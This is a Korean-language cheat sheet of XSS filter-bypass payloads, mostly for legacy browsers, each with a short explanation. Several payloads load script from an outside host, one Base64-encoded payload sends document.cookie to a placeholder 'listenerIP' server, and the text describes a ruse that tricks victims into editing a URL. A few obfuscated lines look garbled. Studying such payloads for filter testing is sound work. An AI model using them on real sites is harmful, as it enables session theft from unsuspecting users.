US-ASCII 인코딩을 이용한 우회
7비트 ASCII 인코딩을 사용하여 필터를 우회.
옛날 Internet Explorer(IE 5, 6, 7) 및 일부 레거시 브라우저에서 작동할 가능성이 있음.
Apache Tomcat이 기본적으로 US-ASCII를 사용하는 서버 중 하나로 알려져 있음.
서버가 ISO-8859-1(Latin-1) 문자셋을 사용 하면서, 브라우저가 이를 HTML 태그로 변환하는 경우 실행될 수 있음.
현대 웹에서는 대부분 UTF-8을 사용.
¼script¾alert(¢XSS¢)¼/script¾
<META> 태그를 활용한 XSS
메타 태그를 이용한 자동 새로고침(refresh)
HTTP-EQUIV="refresh"를 이용하여 즉시 JavaScript 실행.
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
데이터 URL을 활용한 XSS
data:text/html을 사용하여 Base64로 인코딩된 스크립트를 실행.
JavaScript 코드가 직접 보이지 않기 때문에 탐지가 어려움.
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
URL 필터 우회 기법
일부 웹사이트가 http://가 포함된 URL만 허용하는 경우를 우회.
URL=http://;URL=javascript: 형식을 사용하여 실행.
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh"> 태그는 브라우저에게 지정된 URL로 자동 리다이렉트 하라는 명령을 내림.
CONTENT="0;url=javascript:alert('XSS');" 부분은 다음을 의미:
0: 현재 페이지가 로드되자마자 (0초 후) 즉시 리다이렉트 수행
url=javascript:alert('XSS');: 리다이렉트할 대상이 JavaScript 실행 코드 임
결과적으로, 브라우저가 현재 페이지를 javascript:alert('XSS');로 이동 시키면서 XSS가 발생.
일부 구형 브라우저 Internet Explorer (IE 6,7,8) 및 취약한 HTML 파서 는 이 코드를 유효한 리다이렉트로 처리할 수 있음.
보안 설정이 낮거나, XSS 필터링이 적용되지 않은 경우 실행될 가능성이 있음.
대부분의 웹 애플리케이션은 META refresh를 통한 javascript: 실행을 차단.
<IFRAME>을 활용한 XSS
<IFRAME> 태그의 SRC 속성에 javascript: URL을 삽입하여 실행.
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
이벤트 기반 XSS
onmouseover 이벤트를 활용하여 사용자가 마우스를 올릴 때 실행.
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<FRAMESET>을 활용한 XSS
<FRAME> 태그의 SRC 속성을 이용하여 JavaScript 실행.
<IFRAME>과 유사한 방식.
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE> 태그의 BACKGROUND 속성 이용
<TABLE BACKGROUND="javascript:alert('XSS')">
<TD> 태그의 BACKGROUND 속성 이용
<TABLE> 및 <TD>의 BACKGROUND 속성에 JavaScript 코드 삽입.
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<TABLE BACKGROUND="...">와 같은 태그 속성은 원래 배경 이미지를 설정하는 데 사용되지만, JavaScript 코드가 포함된 경우 일부 구형 브라우저나 특정 웹 애플리케이션에서 JavaScript를 실행할 수 있음.
예를 들어, 구형 Internet Explorer (IE)에서는 BACKGROUND 속성이 javascript: 스킴을 허용할 수 있었지만, 최신 브라우저에서는 이와 같은 방식의 JavaScript 실행을 제한하거나 차단.
<DIV> 태그를 활용한 XSS
background-image 속성을 이용한 실행
background-image 속성에 javascript: 스키마를 삽입하여 실행.
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
유니코드 인코딩을 활용한 난독화
background-image 속성에 javascript: 스키마를 삽입하여 실행.
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
추가 문자를 이용한 우회 기법
필터링을 우회하기 위해 오류 문자(1-32, 34, 39, 160, 8192-813, 12288, 65279)를 삽입.
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
expression()을 이용한 XSS (IE 전용)
Internet Explorer에서 지원하는 expression()을 사용하여 JavaScript 실행.
<DIV STYLE="width: expression(alert('XSS'));>
페이지가 로드되면, CSS의 background-image 속성에서 javascript:alert('XSS')를 실행하려고 시도.
정상적으로 배경 이미지가 로드되는 대신, JavaScript 코드 가 실행되어 alert('XSS')가 브라우저에서 실행되고, 사용자는 경고 창을 보게 됨.
구형 브라우저 (특히 Internet Explorer 와 같은 이전 버전)에서는 javascript: URL 프로토콜을 background-image CSS 속성에서 허용했기 때문에 이 코드가 실행될 수 있습니다.
Internet Explorer (IE 6, 7, 8 등)에서는 CSS 속성에서 javascript: 프로토콜을 허용하는 경우가 많았고, JavaScript를 URL로 처리할 수 있음.
주석 블록을 활용한 XSS
Internet Explorer에서만 실행되는 조건부 주석문을 이용한 XSS.
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
BASE 태그를 이용한 XSS
BASE 태그를 활용하여 JavaScript 실행 가능
<BASE HREF="javascript:alert('XSS');//">
OBJECT 태그를 이용한 XSS
악성 HTML 파일을 포함하는 OBJECT 태그 활용
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
<OBJECT> 태그는 웹 페이지에서 외부 리소스를 포함하거나 특정 콘텐츠를 삽입하는 데 사용됩니다. 보통 플러그인 , 임베디드 객체 , 외부 파일 등을 포함하는 데 사용됨.
<OBJECT> 태그는 여러 가지 type 속성을 사용할 수 있습니다. TYPE="text/x-scriptlet"은 scriptlet을 로드하는 타입을 의미.
최신 웹 브라우저는 대부분 이러한 악성 <OBJECT> 태그를 차단하거나 제한하지만, 일부 구형 브라우저 나 보안 설정이 부족한 환경에서는 이 코드가 여전히 실행될 수 있음.
SVG를 이용한 XSS (Firefox 한정)
<EMBED SRC="data:image/svg+xml;base64,..." type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<EMBED> 태그는 외부 객체(이미지, 오디오, 비디오 등)를 삽입하는 HTML 요소.
보통 Adobe Flash, PDF, SVG 등 다양한 플러그인을 로드할 때 사용됨.
여기서는 SRC 속성을 이용해 Base64로 인코딩된 SVG 파일 을 포함.
data: URL 스킴을 사용하여 Base64로 인코딩된 SVG 파일 을 포함.
image/svg+xml은 SVG 이미지 형식 을 의미.
base64,... 부분에는 실제 SVG 파일의 Base64 인코딩된 내용 이 들어감.
AllowScriptAccess="always"를 사용하면, 포함된 콘텐츠(이 경우 SVG 파일) 내의 JavaScript가 실행될 수 있음.
즉, SVG 내의 JavaScript 실행을 허용 하는 역할.
XML 데이터 아일랜드 (IE 한정)
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
HTML+TIME을 활용한 XSS (IE 한정)
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>">
</BODY></HTML>
제한된 입력 환경에서의 XSS
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
구형 Internet Explorer (IE6~IE8) 등 일부 브라우저는 서버에서 제공하는 MIME 타입이 아닌 콘텐츠를 기반으로 자체적으로 파일 유형을 판단 했음.
이런 브라우저에서는 서버에서 잘못된 MIME 타입을 반환하거나 공격자가 조작 하면 JavaScript가 실행될 가능성이 있음.
서버 사이드 포함(SSI) 이용
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
<!--#exec cmd="..."-->는 웹 서버(예: Apache)의 Server Side Includes(SSI) 기능 을 활용하여 서버에서 특정 명령어를 실행하는 방법 입니다.
여기서는 /bin/echo 명령어를 실행하여 HTML 코드의 일부를 출력 하고 있음
최종적으로 브라우저가 해석하는 결과:
Apache 웹 서버에서 mod_include 모듈이 활성화된 경우, .shtml 파일 또는 특정 설정을 가진 .html 파일에서 SSI가 실행될 수 있음.
기본적으로 .shtml 파일에서 SSI를 해석하며, 일부 서버는 .html에서도 해석할 수 있도록 설정되어 있음.
PHP를 이용한 XSS
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
웹 서버가 PHP를 실행하도록 설정되어 있어야 함.
PHP가 HTML 페이지를 생성하는 방식이라면 이 공격이 가능함.
IMG 태그를 이용한 명령 실행
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
쿠키 조작을 이용한 XSS
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<META HTTP-EQUIV="Set-Cookie">
HTTP-EQUIV="Set-Cookie" :
브라우저가 HTTP 응답 헤더의 Set-Cookie 필드를 해석하는 것처럼 동작하도록 지시 함.
즉, 이 태그가 브라우저에 의해 처리되면 쿠키가 설정됨.
Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"
브라우저는 "USERID=<SCRIPT>alert('XSS')</SCRIPT>" 값을 쿠키로 설정하려고 시도함.
만약 브라우저가 이 값을 정상적인 쿠키로 처리하지 못하고 HTML의 일부로 해석하면, <SCRIPT>alert('XSS')</SCRIPT>가 실행되어 XSS 공격이 발생할 수 있음.
최신 브라우저에서는 META HTTP-EQUIV="Set-Cookie"가 정상적인 쿠키 설정 방식으로 동작하지 않음 .
하지만, 예전 브라우저(Internet Explorer 등)에서는 일부 취약한 구현이 있을 가능성이 있음.
HTML 인용 캡슐화를 이용한 XSS
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
보안 필터가 <SCRIPT> 태그를 정확히 일치하는 패턴으로만 차단 할 경우, 속성을 추가하면 필터를 우회할 수 있음.
a=">"를 추가하면 필터가 <SCRIPT> 태그를 감지하지 못할 수도 있음.
공격자는 httx://를 사용하여 필터를 우회한 뒤, 피해자가 직접 URL을 수정하도록 유도할 수도 있음.
예를 들어, 피해자에게 다음과 같은 메시지를 보낼 수 있음: 보안 시스템이 자동으로 http를 httx로 변경했습니다. 브라우저 주소창에서 httx를 http로 바꿔 다시 방문해주세요!
사용자가 이를 믿고 직접 URL을 수정하면, 악성 JavaScript가 실행될 수 있음.
URL 문자열을 이용한 XSS
<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
일반적인 IP 주소 표기법 을 사용한 URL.
URL 인코딩(Percent-Encoding)을 사용한 도메인 표기법 .
1113982867은 10진수 형태로 변환된 IP 주소 . ( 1113982867 → 66.102.7.147 )
16진수(Hexadecimal) IP 주소 표기법 ( 0x42 = 66, 0x0000066 = 102, 0x7 = 7, 0x93 = 147 )
8진수(Octal) IP 주소 표기법
Base64 인코딩을 이용한 XSS
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
<img> 태그의 onload 이벤트는 이미지가 로드될 때 실행 됨.
브라우저는 이미지가 정상적으로 로드되었을 때 onload 속성에 지정된 JavaScript 코드를 실행함.
eval(): 문자열을 JavaScript 코드로 해석하여 실행 하는 함수.
atob(...): Base64로 인코딩된 문자열을 디코딩하는 함수
Base64 디코딩 결과 ( document.location="http://listenerIP/"+document.cookie )
프로토콜 우회를 이용한 XSS
<A HREF="//www.google.com/">XSS</A>
//는 **스키마 상대 URL(Scheme-relative URL)**을 의미.
브라우저는 현재 페이지가 로드된 프로토콜(예: HTTP 또는 HTTPS)을 자동으로 적용.
JavaScript 링크를 이용한 XSS
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>